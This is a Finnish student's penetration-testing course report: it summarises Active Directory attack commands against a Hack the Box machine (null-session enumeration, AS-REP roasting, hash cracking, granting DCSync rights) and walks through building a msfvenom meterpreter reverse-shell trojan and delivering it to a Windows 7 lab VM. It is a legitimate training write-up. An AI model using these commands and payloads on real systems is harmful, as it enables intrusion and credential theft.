Final Countdown
Tehtävänanto: https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/#h7-final-countdown
Sisällysluettelo
- Final Countdown
- z) Tiivistä
- a) Palauta kaikki
- b) Googlen kärkeen
- c) Viittaukset kuntoon
- d) Joukkoäly
- e) Rottia
Vinkkejä opettajalta tehtäviin
- _Läksyjen raportteja löydät Googlella ja DuckDuckGo:lla sekä tämän sivun kommenteista. “Palauta kaikki” -kohtaan linkkejä tulee kuusi kappaletta, sellaisia klikattavia (a href).
- _Linkki kommenteissa tämä linkki voi nostaa sivusi PageRankkia, jolloin pääset Googlen hakutuloksissa ylöspäin. Jos laitat linkin nopeasti, saatat saada linkkejä myös kurssikavereilta, kun “Joukkoäly” -kohdassa muut viittaavat kotitehtäviisi.
- _TTPs - Tools, tactics and procedures. Kun teet tiivistelmää joukkoälystä, voit esimerkiksi poimia sopivia ohjelmia, valmiita käskyjä, esimerkkitilanteita joihin ohjelma sopii ja lähestymistapoja, joilla erityyppisiin maaleihin tunkeudutaan.
- _Tässä ei ole tarpeellista jättää troijalaisten binäärejä näkyviin, sillä nehän eivät usein edes toimi ilman kontrollipalvelimia. Verkosta löytyvissä esimerkeissä malware näytteet ovat usein kryptatussa ZIP-paketissa, jonka salasana (esim “This package contains live malware”) kerrotaan jossain sivulla. Paketissa on usein myös README, jossa asia väännetään rautalangasta, ja malware on joskus varoittavasti nimetty “malware-trojan.exe”.
- _Tässä harjoituksessa ei tarvitse ohittaa virustorjuntaa, voit laittaa sen harjoitusmaalista pois päältä.
z) Tiivistä
Nikon lähteet - silmäile ja tiivistä Nikon mainitsemat kolme lähdettä. Ne ovat sähköpostiviestissä “Wind0wned & oma kirjakauppa”. Osa lähteistä on hyvin laajoja, tällöin voit silmäillä muutamia keskeisiä osia niistä.
Tiivistyksessä on kyse vierailuluennolla käytetyistä komennoista ja niiden taustoista. Maalina on Hack the Boxin “Forest” kone.
MSRPC (Microsoft Remote Procedure Call)
0xffsec Handbook: https://0xffsec.com/handbook/services/msrpc/
- HackTricksin esitys MSRPC:stä: https://book.hacktricks.xyz/pentesting/135-pentesting-msrpc
- MSRPC default Ports:
- RPC Endpoint Mapper: 135
- HTTP: 593
Null Session
0xffsec Handbook: https://0xffsec.com/handbook/services/smb/#null-session
The rpcclient
can be used to interact with individual RPC endpoints via named pipes. By default, Windows systems and Windows 2003 domain controllers allow anonymous (Null Sessions) access to SMB, so these interfaces can be queried in this way.
- SMB HackTricksin sivuilla kuvattuna (myös null sessionista juttua): https://book.hacktricks.xyz/pentesting/pentesting-smb
- SMB default Ports:
- SMB over NBT (NetBIOS over TCP/IP): 139
- SMB over TCP/IP: 445
Komennot
rpcclient -U '' -N 10.10.10.161
# Get users
enumdomusers
# AS-REP Roast
impacket-GetNPUsers -usersfile users.lst -dc-ip 10.10.10.161 htb.local/
# Crack The Hash
# Note that a txt file is required as a wordlist
# hashcat -m 18200 alfresco.hash /usr/share/wordlists/rockyou.txt --force
# Remote In The Machine
# Install `evil-winrm`
sudo gem install evil-winrm
# remote into the machine
evil-winrm -i 10.10.10.161 -u svc-alfresco
SharpHound: BloodHound Collectors
https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors
- BloodHound HackTricksin sivuilla esitettynä: https://book.hacktricks.xyz/windows/active-directory-methodology/bloodhound
- BloodHoundin dokumentaatio ja kuvaus Collectors-branchissa olevasta SharpHoundista
Komennot
# Installation
sudo apt install bloodhound
# Start neo4j
sudo neo4j console
# [...snip...]
2021-12-01 16:32:34.562+0000 INFO Remote interface available at
http://localhost:7474/
# [...snip...]
# Go to http://localhost:7474/ and authenticate with `neo4j:neo4j` and
# give it a new password.
# Run bloodhound
bloodhound
Exploiting AD: Add-DomainObjectAcl syntax
Correct Add-DomainObject syntax (PowerView sivun alaotsikko): https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters/powerview#set-values
Komennot
# Import just powerview
. .\PowerView.ps1
# Add new user to domain
net users heiskane password /add /domain
# Add user to domain group
net group "Exchange Windows Permissions" /add heiskane
# Give DCSync rights to `heiskane`
$pass = ConvertTo-SecureString 'password' -AsPlainText -Force
$cred = New-Object
System.Management.Automation.PSCredential('HTB.LOCAL\heiskane', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity
"DC=htb,DC=local" -PrincipalIdentity heiskane -Rights DCSync
a) Palauta kaikki
Palauta kaikki. Laita tähän a-kohtaan linkki jokaiseen kotitehtäväraporttiisi.
b) Googlen kärkeen
Vapaaehtoinen, mutta helppo ja suositeltava: lisää linkki tehtäviisi tämän sivun https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/#h7-final-countdown perään kommentiksi.
c) Viittaukset kuntoon
Katso, että olet jokaisessa tehtävässä (h1, h2…) viitannut kurssiin ja kaikkiin muihinkin lähteisiin. Lähdeviitettä edellyttäviä lähteitä ovat kaikki materiaali, jota olet käyttänyt lähteenä. Esimerkiksi kurssi, tehtävänanto, toisten opiskelijoiden vanhat raportit, kirjat, videot, ohjelmien man-sivut ja artikkelit. Mikäli teet kotitehtäviisi lisää testejä tai kokeiluja, tee ne selkeästi jatkoksi uuden otsikon alle ja merkitse, milloin lisäykset on tehty. Historia ei voi enää muuttua.
Puuttuvat viitteet
Kerran en merkinnyt tehtävässä käytettyä lähdettä (raportista voi lukea miksi…) ja muutamasta tehtävänpalautuksesta puuttui viittaus tehtävänantoon. Nämä on nyt korjattu.
Tehtäväpalautusten jälkeen muokautut tehtävät
Pari kertaa olen jatkanut kotitehtävien tekemistä palautusajan jälkeen ja tällöin merkinnyt “EDIT:” jatkettuun kohtaan. Lisäksi luentojen muistiinpanoja olen muokannut mieleni mukaan sillä ne eivät ole tehtäväpalautuksia.
Harjoitusten muutoshistoriat
Koko sivuston muutoshistoria löytyy kuitenkin GitHubista, olen pyrkinyt myös laittamaan jollakin tapaa muutosta kuvaavia commit messageja muutosten mukaan. Harjoitusten muutoshistoriat:
- H1: https://github.com/nihti/pentest/commits/gh-pages/h1.md
- H2: https://github.com/nihti/pentest/commits/gh-pages/h2.md
- H3: https://github.com/nihti/pentest/commits/gh-pages/h3.md
- H4: https://github.com/nihti/pentest/commits/gh-pages/h4.md
- H5: https://github.com/nihti/pentest/commits/gh-pages/h5.md
- H6: https://github.com/nihti/pentest/commits/gh-pages/h6.md
- H7: https://github.com/nihti/pentest/commits/gh-pages/h7.md
d) Joukkoäly
- silmäile muiden kotitehtäväraportit, kerää lista parhaita komentoja ja havaintoja. Muista merkitä lähteet. Näin saat oman tiivistelmän parhaista tunkeutumistekniikoista. (Tästä voi olla hyötyä myös ensi viikolla). Jos sinulla on suosikkilähteitä kurssin ulkopuoleta, voit listata nekin tähän. Teh ultimate haking cheatsheet!
Kurssilaisten raportit
- Sami Kulonpään raportit (suomeksi), miellyttävä ilme ja oikea domain ja salasanasuojaus luovat heti asiallista tunnelmaa: https://kulonpaa.com/
- Eemil Airaksisen raportit (suomeksi), miellyttävä WP-teema: https://eemilairaksinen.wordpress.com/blog/
- Atro Lindellin raportit (suomeksi), sama miellyttävä teema, paljon ovat kaikki kurssilaiset selvästi vaivaa tehtäviin nähneet: https://juusokalliomaki.com/blog/
- Toni Kerttulan raportit (suomeksi), samalla WP-teemalla mennään, harjoitukset ovat näkyvillä vain vitoseen asti: https://tonikerttula.wordpress.com/
- Otto Hännisen raportit (suomeksi), -“-, lähteet lopussa ja ytimekäs yhteenveto lopussa hyvä lisä: https://ottohanninen.wordpress.com/blog/
- Teemu Karhusen raportit (suomeksi), -“”-, todella kattavista kuvakaappauksista plussaa: https://teemukarhunencom.wordpress.com/
- Juuso Kalliomäen raportit (englanniksi) eivät myöskään häviä lainkaan aiemmin mainituille ilmeessa tai sisällössä, käytetyt lähteet lopussa hyvä lisä: https://juusokalliomaki.com/blog/
- Evgenin raportit (suomeksi), ikävä kyllä oikeutta sivun juureen ei ollut mutta tehtäväraportit saa näkyviin vaihtamalla tehtävän numeron urlissa: https://dev.introtech.fi/pentest/h1.html
- Lisäksi jo aiemmissa tuntimuistiinpanoissa mainittu Juho Mikkosen blogi, joka ikävä kyllä ei sisällä (ainakaan julkisesti) tehtäväraportteja tai linkkiä niihin: https://mikkonen.bio/
e) Rottia
_Tee troijan hevonen, joka asentaa vihamielisen etäkäyttöohjelman (RAT, remote access trojan). Haittaohjelmien toimivia versioita ei saa laittaa näkyviin siten, että joku voisi ajaa niitä vahingossa. Tässä tehtävässä harjoitellaan kohdennettua hyökkäystä, automaattisesti leviäviä itse itseään kopoioivia ohjelmia ei tehdä (ei viruksia, ei matoja). Tunnilla tehtiin elf-binääri msfvenomilla yhdistämättä sitä mihinkään tavalliseen ohjelmaan. Tee siis jollain omilla mausteilla (valitse näistä joku):
- Kohdekone verkon takana
- Windows-kohde
- Fat Rat
- Veil
- Social Engineering Toolkit
- Makron hyödyntäminen
- Yhdistetty toiseen ohjelmaan (esim msfvenom template)
Suunnitelma
- Luodaan Windows-maali samaan verkkoon
- katsotaan makron hyödyntämistä ja msfvenom templatea jos aikaa jää
Asennetaan Windows 7 (IE 8)
Valitaan listalta vanhin vaihtoehto toiveena että vaatii vähiten tilaa: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/.
Puretaan ZIP-tiedosto ja importataan masiina VirtualBoxiin. Jätetään “Appliance settings” default-asetuksilla. Varoitus siitä että asennus vie paljon tilaa ei ole turha, aloitettaessa asennusta vapaata tilaa SSD:llä on yli 8GB, mutta se ei riitä vaan asennus heittää erroria E_Invalidarg (0x80070057): https://www.partitionwizard.com/resizepartition/result-code-e-invalidarg-0x80070057.html. Asennus vaati lopulta reilusti yli 10GB.
Vaihdetaan verkkokortti Windows-koneeseen samaan verkkoon muiden VB-koneiden kanssa: Settings –> Network –> Adapter –> Host-only Adapter (#3, koska siellä on DHCP palvelin ja kaikki muut koneet, kts. aiemmat harjoitukset).
Hyökkäyssuunnitelma
Pitäisi siis:
- luoda troijalainen
- ja saada se kohdekoneeseen
- ja käynnistää se.
Testataan pala kerrallaan, yritetään ensin luoda toimiva troijalainen. Käynnistetään hyökkääjä-Kali ja luodaan troijalainen Msfvenomilla:
1. Troijalaisen luominen
# luodaan kansio troijalaiselle
mkdir myrkky
cd myrkky
# katsotaan hyökkääjän IP joka asetetaan troijalaiselle
hostname -I
# katsotaan mikä on Windows payload mikä troijalaiseen pitää asettaa
# tarvitaan siis Windows7 32bit (Windows x86) meterpreter reverse tcp
# avataan toinen terminaali-ikkuna kalissa
# käynnistetään msfconsole
sudo msfconsole
# käynnistetään multi handler
use exploit/multi/handler
# katsotaan mitä payloadeja tarjolla
show payloads
# Mennään kohtaan windows meterpreter
# löytyy payload 350 payload/windows/meterpreter/reverse_tcp (Reflective injection) Reverse TCP stager
# ja 351 payload/windows/meterpreter/reverse_tcp_allports
# ja 363 payload/windows/meterpreter_reverse_tcp Meterpreter Shell, Reverse TCP Inline
# OS:n bittejä payload windows meterpretereissä ei ole erikseenls - määritelty
# Aiemmin käytetty linux payload 174 oli myös Reverse TCP stager kuten 350
# payload/ jätetään troijalaisen rakentamisessa polusta pois aiemman esimerkin perusteella
###
# takaisin myrkky-kansiossa
# -p=payload, LHOST=hyökkääjä, -f=formaatti, -o=output file
└─$ /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.5 -f exe -o hyotyohjelma
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: hyotyohjelma
# annetaan suoritusoikeudet linuxissa
# varmaankin turha vaihe koska emme aja tätä linuxissa vaan windowsissa
chmod u+x hyotyohjelma
Tässä vaiheessa hyökkääjä-palvelin ei vielä käytä exploittia ja odota kutsuja. Käynnistetään exploit Msfconsolessa.
# asetetaan yllä etsitty payload
msf6 exploit(multi/handler) > set payload 350
payload => windows/meterpreter/reverse_tcp
# asetetaan yllä etsitty hyökkääjän ip
msf6 exploit(multi/handler) > set LHOST 192.168.233.5
LHOST => 192.168.233.5
# käynnistetään exploit
msf6 exploit(multi/handler) > run
# huom default-portti 4444
[*] Started reverse TCP handler on 192.168.233.5:4444
2. troijalaisen tuominen Windowsiin
Käynnistetään maali. Pohditaan mitä tapoja olisi tuoda luotu vihamielinen troijalainen maali-koneelle. En halua tuoda troijalaista omalle host-koneelleni vaan pitää sen virtuaaliverkossa, eikä VirtualBoxissa ole suoraa drag&droppia guest-koneiden välillä: https://stuff.mit.edu/afs/sipb/project/vmdialup/archive/i386_linux24.old/lib/vmware-console/help/gsx/movefiles.htm.
Päädyn lopulta ftp-palvelimeen missä voin hostata vihamielisen tiedoston jonka windows voi ladata. Sammutetaan hyökkääjä exploit siksi aikaa että ladataan ftp-palvelin, jota ei ole Kalissa valmiina: https://allabouttesting.org/install-ftp-server-on-kali-linux/ ja https://linuxtiwary.com/2019/02/16/how-to-configure-ftp-server-on-kali-linux/ ja https://tecadmin.net/download-upload-files-using-ftp-command-line/ ja https://serverfault.com/questions/598392/ftp-550-permission-denied.
sudo apt-get install vsftpd
sudo nano /etc/vsftpd.conf
# anon enable (ei ole riittävät asetukset)
anonymous_enable=YES
# start server
service vsftpd start
# check status
service vsftpd status # Active: active (running)
# open browser
firefox "ftp//localhost"
# uusi terminal loggaa sisään ja vie tiedostot
ftp localhost
# user
anonymous
# pw
anonymous
# tiedosto, heittää 550 permission denied
put ~/myrkky/hyotyohjelma
exit
sudo nano /etc/vsftpd.conf
# lisää anon conf
write_enable=YES
anon_mkdir_write_enable=YES
service vsftpd restart
# joudutaan silti viemään tiedosto lopulta kalina koska tiedosto-oikeudet
ftp> put ~/myrkky/hyotyohjelma
local: /home/kali/myrkky/hyotyohjelma remote: /home/kali/myrkky/hyotyohjelma
200 EPRT command successful. Consider using EPSV.
150 Ok to send data.
226 Transfer complete.
# ... katsotaan muita vaihtoehtoja
# windows-koneella on ongelmia saada yhteyttä kaliin
Tovin leikkimisen jälkeen saan molemmista koneista palomuuriasetuksia muokkaamalla yhteyden toisiinsa (ping eestaas), mutta windowsissa ftp get heittää 550 permission deniediä jälleen, vaikka hyotyohjelman chmod muuttaa 777. Jostain syystä vielä lataus ei onnistu Windowsille ftp getillä.
https://askubuntu.com/questions/508463/how-to-copy-data-between-virtual-machines
Sanity check #1, tiedostonsiirtotavat
Palataan perusteisiin ja tiedostojen siirtelyyn virtuaalikoneiden välillä: https://blog.ropnop.com/transferring-files-from-kali-to-windows/. Näitä varmasti tarvitaan tulevassa kurssin päättävässä kokeessakin.
HTTP Server
cd myrkky
sudo cp hyotyohjelma /var/www/html/
ls /var/www/html/
# otetaan tässä vaiheessa palomuuri alas testejä varten
sudo ufw disable
Veikkaan että dokumentaatiossa unohdettiin kuitenkin joku vaihe, sillä tällä asetuksella pelkästään apachen default-sivu on nähtävillä osoitteessa. Ei jäädä räveltämään apachen asetuksia, kokeillaan Pythonia joka lupailee hostata kansiosisällön SimpleHTTPServerillä.
Python SimpleHTTPServer
Tässä vaiheessa molempien koneiden palomuurit ovat alhaalla ja Windows-koneessa selaimen Protected mode: Off.
# myrkky-kansiossa hyökkääjässä
python -m SimpleHTTPServer
Ja viimein kansiolistaus näkyy myös Windows-koneelle. Ladataan tiedosto Windowsille.
Sanity check #2, troijalaisen toimivuus
Huomataan tässä vaiheessa että hyotyohjelma-troijalainen vaikuttaa olevan tyhjä tiedosto. Tarkastetaan troijalaisen luomisen vaiheet menikö jotain pieleen.
cat hyotyohjelma
# ei listaa mitään
# luodaan uusi troijalainen
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.5 -f exe -o hyotyohjelma2
# verrataan ohjelmia
-rwxrwxrwx 1 kali kali 0 Dec 11 16:44 hyotyohjelma
-rw-r--r-- 1 kali kali 73802 Dec 13 01:58 hyotyohjelma2
# käynnistetään palvelin uudestaan tiedostonlatausta varten
python -m SimpleHTTPServer 80
3. troijalaishyökkäys
Hyökkäyksen viimeisessä vaiheessa uhrin pitäisi siis vielä käynnistää troijalainen. Käynnistetään sitä varten jälleen hyökkääjän exploit Kalissa odottelemaan uhria:
sudo msfconsole
use exploit/multi/handler
show options
# LHOST ei ole pysynyt sitten viime kerran
set payload 350
# ilmeisesti payload on pysynyt koska ei vaihda sitä
set LHOST 192.168.233.5
run
[*] Started reverse TCP handler on 192.168.233.5:4444
Sitten jännityksen hetki, suoritetaan vihamielinen troijalainen Windows-uhrissa. Paitsi että koska ei olla tallennettu sitä .exe-tiedostona, niin eipä suoritetakaan.
Säätö
# uusi troijalainen
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.5 -f exe -o hyotyohjelma.exe
# servaus
python -m SimpleHTTPServer
Ladataan ohjelma Windowsille, ja uudestaan jännittämään. Kalissa:
[-] Command shell session 3 is not valid and will be closed
[*] 192.168.233.9 - Command shell session 3 closed.
Eli sessio ei käynnisty koska varmaankaan Windows seiskan command shell ei ole validi. Kokeillaan ensin muuttaa payloadia.
# sama reverse tcp mutta all ports
set payload 351
run
Ja suoritetaan troijalainen uudestaan Windowsissa. Nyt hyökkäys onnistuu:
msf6 exploit(multi/handler) > set payload 351
payload => windows/meterpreter/reverse_tcp_allports
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.233.5:4444
[*] Sending stage (175174 bytes) to 192.168.233.9
[*] Meterpreter session 11 opened (192.168.233.5:4444 -> 192.168.233.9:49179) at 2021-12-13 02:39:01 -0500
meterpreter >
Nyt minulla on pääsy hyökkääjä Kalilta Windowsille Meterpreterillä. Mahdollisia komentoja mitä voisin nyt suorittaa uhrin koneessa löytyy esim. tästä cheatsheetistä: https://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdf
Testimielessä tuhoan yhden toimimattomista troijalaisista, toimii.
del hyotyohjelma